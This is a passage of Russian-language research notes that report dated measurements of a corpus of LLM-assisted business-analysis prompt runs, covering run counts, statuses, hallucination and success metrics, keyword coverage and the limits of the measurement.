\\\"research/ba-requirements/normalization/40-practice-and-cases.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-requirements-normalization-539/README.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539\\\"\\n---\\n\\n# \u0421\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts/runs/` \u043d\u0430 2026-08-25\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u042d\u0442\u043e \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 **\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435**, \u0430 \u043d\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435. \u0412\u0441\u0435\\n> \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043c\u043e\u0434\u0443\u043b\u044c\\n> [`research/ba-requirements/normalization/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/00-introduction.md).\\n> \u0421\u043d\u0438\u043c\u043e\u043a \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0442 \u0435\u0434\u0438\u043d\u043e\u0439 \u0434\u0430\u0442\u044b (\u0444\u0430\u0439\u043b\u044b\\n> \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0446\u0438\u043a\u043b\u0430\u0445), \u0430 \u0443 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u043d\u0430 \u0435\u0441\u0442\u044c: \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442, \u0438 \u0447\u0435\u0440\u0435\u0437\\n> \u043c\u0435\u0441\u044f\u0446 \u0447\u0438\u0441\u043b\u0430 \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\\n\\n## 1. \u0427\u0442\u043e \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `524a8eb`. \u0410\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440:\\n[`exp/ba-requirements-normalization-539/aggregate-runs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-requirements-normalization-539/aggregate-runs.py).\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e `metadata.yaml` \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043d\u0451\u043c \u043d\u0435\u0442 \u2014 \u0438\u043d\u0430\u0447\u0435 \u0432\u044b\u0432\u043e\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u0431\u044b \u043f\u0440\u0435\u0434\u0440\u0435\u0448\u0451\u043d \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439.\\n\\n## 2. \u0421\u043e\u0441\u0442\u0430\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 56 |\\n| \u041f\u0435\u0440\u0438\u043e\u0434 | 2026-04-10 \u2026 2026-08-25 |\\n| `run_type` | `statistics` 47, `execution` 9 |\\n| `status` | `draft` 29, `works-with-edits` 19, `partial-success` 5, `success` 1, `needs-rework` 1, `experimental` 1 |\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (\u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043f\u043e\u043b\u044f `process`):\\n\\n| \u041f\u0440\u0435\u0444\u0438\u043a\u0441 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 |\\n| --- | --- | --- |\\n| `task-` | 32 | \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u0442\u0440\u0435\u043a\u0435\u0440\u0430/\u0447\u0430\u0442\u0430 \u2014 \u0443\u0436\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 |\\n| `fr-` | 9 | \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 (\u0430\u043d\u0430\u043b\u0438\u0437, \u0434\u0440\u0430\u0444\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f) |\\n| `bcreq-` | 4 | \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 (business change request) |\\n| `prompt-` | 3 | \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430\u0434 \u0441\u0430\u043c\u0438\u043c\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438, \u0430 \u043d\u0435 \u043d\u0430\u0434 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c |\\n| `tz-`, `usecase-`, `user-`, `gap-`, `kb-`, `industry-`, `session-`, `multichannel-` | \u043f\u043e 1 | \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u0435 \u0442\u0438\u043f\u044b |\\n\\n**\u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435.** 32 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 `task-`, \u0442\u043e \u0435\u0441\u0442\u044c \u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u043f\u0440\u043e\u0448\u0451\u043b \u0447\u044c\u044e-\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e. \u0418\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435\\n\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0441\u043b\u0430\u0431\u043e (4 `bcreq-`): \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c **\u0441\u0430\u043c\u043e\u0433\u043e \u0440\u0430\u043d\u043d\u0435\u0433\u043e** \u0443\u0447\u0430\u0441\u0442\u043a\u0430 \u0432\u0445\u043e\u0434\u0430\\n\u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n\\n## 3. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n\\n\u0427\u0438\u0441\u043b\u0430 \u0434\u0430\u043d\u044b \u043a\u0430\u043a `n` (\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u043c\u0435\u044e\u0442 \u043c\u0435\u0442\u0440\u0438\u043a\u0443) / \u043c\u0435\u0434\u0438\u0430\u043d\u0430 / \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d, \u043f\u043e\u0442\u043e\u043c\u0443\\n\u0447\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u043d\u0435\u0440\u0430\u0432\u043d\u043e\u043c\u0435\u0440\u043d\u043e \u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0435 \u043f\u043e \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u0440\u043f\u0443\u0441\u0443 \u0432\u0432\u043e\u0434\u0438\u0442 \u0432\\n\u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435.\\n\\n| \u041c\u0435\u0442\u0440\u0438\u043a\u0430 | n | \u0421\u0443\u043c\u043c\u0430 | \u041c\u0435\u0434\u0438\u0430\u043d\u0430 | \u0414\u0438\u0430\u043f\u0430\u0437\u043e\u043d |\\n| --- | --- | --- | --- | --- |\\n| `episodes` | 41 | 1080 | 15 | 1 \u2026 83 |\\n| `iterations` | 37 | 1052 | 19 | 1 \u2026 83 |\\n| `turns` | 34 | 2084 | 44 | 2 \u2026 166 |\\n| `success_rate` | 18 | \u2014 | 0.60 | 0.25 \u2026 0.92 |\\n| `hallucinations` | 11 | 41 | 3 | 2 \u2026 8 |\\n| `hallucinations_shipped` | 11 | 12 | 1 | 0 \u2026 3 |\\n| `ba_edits` | 10 | 53 | 6 | 0 \u2026 11 |\\n| `quality` | 11 | 31 | 3 | 2 \u2026 3 |\\n| `tokens_dialog_total` | 32 | 61 360 738 | 720 806 | 3 387 \u2026 9 225 333 |\\n| `duration_wall_clock_s` | 11 | 1 331 029 | 45 675 | 2 762 \u2026 522 867 |\\n\\n\u041f\u0440\u043e\u0433\u043e\u043d\u044b, \u0433\u0434\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u0430 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n(`hallucinations_shipped > 0`): **9** \u2014 RUN-0016, RUN-0018, RUN-0021, RUN-0022,\\nRUN-0024, RUN-0025, RUN-0026, RUN-0027, RUN-0028.\\n\\n## 4. \u041f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u043f\u043e\u043d\u044f\u0442\u0438\u0439 \u043f\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0443\\n\\n\u041f\u043e\u0434\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0432\u0441\u0435\u043c `.md`/`.yaml` \u0444\u0430\u0439\u043b\u0430\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (\u0440\u0435\u0433\u0438\u0441\u0442\u0440 \u043d\u0435 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f):\\n\\n| \u041f\u043e\u043d\u044f\u0442\u0438\u0435 | \u041f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0430 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 56 |\\n| --- | --- | --- |\\n| \u041e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f | `\u043f\u043e\u043a\u0440\u044b\u0442` | 41 |\\n| \u0423\u0442\u043e\u0447\u043d\u044f\u044e\u0449\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b | `\u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438` | 23 |\\n| \u0413\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0438 | `\u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d` | 20 |\\n| \u0414\u043e\u043c\u044b\u0441\u043b\u0438\u0432\u0430\u043d\u0438\u0435 | `\u0434\u043e\u043c\u044b\u0441\u043b` | 11 |\\n| \u041a\u0430\u0441\u0442\u043e\u043c-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 | `\u043a\u0430\u0441\u0442\u043e\u043c` | 10 |\\n| \u0422\u0430\u0440\u0438\u0444\u043d\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 | `\u0442\u0430\u0440\u0438\u0444` | 7 |\\n| \u041f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 | `\u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430` | 5 |\\n| \u00ab\u0423\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e\u00bb | `\u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d` | 3 |\\n| Discoverability | `discoverab` | **0** |\\n| \u0423\u0441\u0442\u0430\u0440\u0435\u0432\u0430\u043d\u0438\u0435/\u0432\u044b\u0432\u043e\u0434 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 | `deprecat`, `\u0432\u044b\u0432\u043e\u0434 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438` | **0** |\\n\\n## 5. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n\\n1. **\u0420\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u043c\u0435\u0442\u0440\u0438\u043a.** \u0413\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0440\u0435\u043c\u044f \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043a\u043b\u044e\u0447\u0430\u043c\u0438:\\n   `hallucinations` (11 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432), `hallucinations_found` (3),\\n   `hallucinations_prevented` (3). \u0420\u0430\u043d\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b (RUN-0017, RUN-0020, RUN-0023)\\n   \u0434\u0435\u0440\u0436\u0430\u0442 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0432 \u0431\u043b\u043e\u043a\u0435 `eval:`, \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u2014 \u0432 `metrics:`. \u0410\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442\\n   \u043e\u0431\u0430 \u0431\u043b\u043e\u043a\u0430, \u043d\u043e **\u043d\u0435** \u0441\u043a\u043b\u0435\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u0438\u043c\u0451\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438: \u0441\u0443\u043c\u043c\u0430 \u043f\u043e `hallucinations`\\n   \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0438\u0436\u043d\u0435\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439.\\n2. **`success_rate` \u043d\u0435\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438.** \u041f\u043e\u043b\u0435\\n   `success_rate_basis` \u0432 RUN-0023 \u043f\u0440\u044f\u043c\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442: \u0448\u043a\u0430\u043b\u0430 \u00ab\u043f\u0440\u0438\u043d\u044f\u0442\u043e\\n   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c\u00bb \u0442\u0430\u043c \u043d\u0435\u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430, \u0438 \u00ab\u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0441 `success_rate` \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432,\\n   \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044e \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 RUN-0020), \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u00bb.\\n   \u041c\u0435\u0434\u0438\u0430\u043d\u0430 0.60 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043a\u043e\u0440\u043f\u0443\u0441, \u0430 \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n3. **\u0417\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u0440\u0438\u043a \u2014 \u043e\u0442 10 \u0434\u043e 41 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438\u0437 56.** \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0442\u0440\u0438\u043a\u0438\\n   \u0447\u0430\u0449\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u044f\u043b\u0438\u00bb, \u0430 \u043d\u0435 \u00ab\u043d\u043e\u043b\u044c\u00bb.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0441\u043b\u043e\u0432\u0430 \u043d\u0435 \u0440\u0430\u0432\u043d\u044b \u044f\u0432\u043b\u0435\u043d\u0438\u044f\u043c.** \u041d\u043e\u043b\u044c \u043f\u043e `deprecat` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0442\u0435\u043c\u0430\\n   \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0430\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 **\u043d\u0435 \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u0435\u0442\u0441\u044f**; \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0447\u0442\u043e\\n   \u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435\u0442 \u2014 \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0447\u0442\u043e \u0435\u0433\u043e \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442.\\n5. **\u0421\u043d\u0438\u043c\u043e\u043a \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d.** \u041d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 `mango_ba_prompts` \u0447\u0438\u0441\u043b\u0430\\n   \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u0441\u044f; \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430 \u043f\u043e\u043b\u0435\u043c `repo_sha` \u0432\\n   [`runs-aggregate.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-requirements-normalization-539/runs-aggregate.json).\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-08-26\\ntemperature: 0.1\\ntype: research\\ncontext: [ba, requirements, mango, runs, corpus-measurement, pipeline, contracts, issue-545]\\nmethod: corpus-measurement + contract-gap-analysis + critical-analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/545\\\"\\nbased_on:\\n  - research/ba-requirements/exp/ba-rrp-full-cycle-545/pipeline-facts.json\\nrelated_artifacts:\\n  - \\\"docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md\\\"\\n  - \\\"research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md\\\"\\n  - \\\"research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-rrp-full-cycle-545/README.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/545\\\"\\n---\\n\\n# \u0424\u0430\u043a\u0442\u044b \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u0434 \u043c\u043e\u0434\u0443\u043b\u0438 `M1`\u2013`M4`\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u042d\u0442\u043e \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 **\u0441\u043d\u0438\u043c\u043e\u043a \u0437\u0430\u043c\u0435\u0440\u0430**, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0443\u043b\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\\n> \u041e\u043d \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 \u043c\u043e\u0434\u0443\u043b\u0435\u0439\\n> [`solution-modeling/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/solution-modeling),\\n> [`artifact-rendering/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/artifact-rendering),\\n> [`feedback-and-evolution/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/feedback-and-evolution)\\n> \u0438 [`orchestration/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/orchestration),\\n> \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443 \u0437\u0430\u043c\u0435\u0440\u0430 \u0435\u0441\u0442\u044c \u0434\u0430\u0442\u0430 \u0438 \u043a\u043e\u043c\u043c\u0438\u0442 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442, \u0438 \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0441\u044f\u0446\\n> \u0447\u0438\u0441\u043b\u0430 \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438, \u0430 \u0440\u0430\u043c\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u2014 \u043d\u0435\u0442.\\n>\\n> **\u0413\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438.** \u0412\u0441\u0451, \u0447\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e, \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a **\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435\\n> \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438**. \u041f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u00ab\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0434\u043e\u043c\u043e\u0432\u00bb\\n> ([issue #545](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/545))\\n> \u044d\u0442\u0438 \u0447\u0438\u0441\u043b\u0430 **\u043d\u0435 \u0441\u0443\u0436\u0430\u044e\u0442** \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0434\u0443\u043b\u0435\u0439: \u043e\u043d\u0438 \u043f\u0438\u0442\u0430\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e\\n> \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e \u043a\u0430\u0441\u0442\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u0438.\\n\\n## 1. \u0427\u0442\u043e \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0417\u0430\u043c\u0435\u0440 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c\\n[`exp/ba-rrp-full-cycle-545/measure-pipeline.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-rrp-full-cycle-545/measure-pipeline.py)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `ef88a9a` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): **57\\n\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432**, \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 `runs/2026/RUN-*`. \u041c\u0435\u0442\u043e\u0434 \u0438 \u0435\u0433\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u2014 \u0432\\n[README \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-rrp-full-cycle-545/README.md).\\n\\n## 2. \u0421\u043e\u0441\u0442\u0430\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 57 |\\n| `run_type` | `statistics` 47, `execution` 10 |\\n| `status` | `draft` 29, `works-with-edits` 19, `partial-success` 6, `success` 1, `needs-rework` 1, `experimental` 1 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c `inputs/` | 57 (100 %) |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c `logs/` | 57 (100 %) |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c `feedback/` | 57 (100 %) |\\n\\n\u041f\u0435\u0440\u0432\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u2014 \u043d\u0435 \u043f\u0440\u043e \u0446\u0438\u0444\u0440\u044b, \u0430 \u043f\u0440\u043e \u0438\u0445 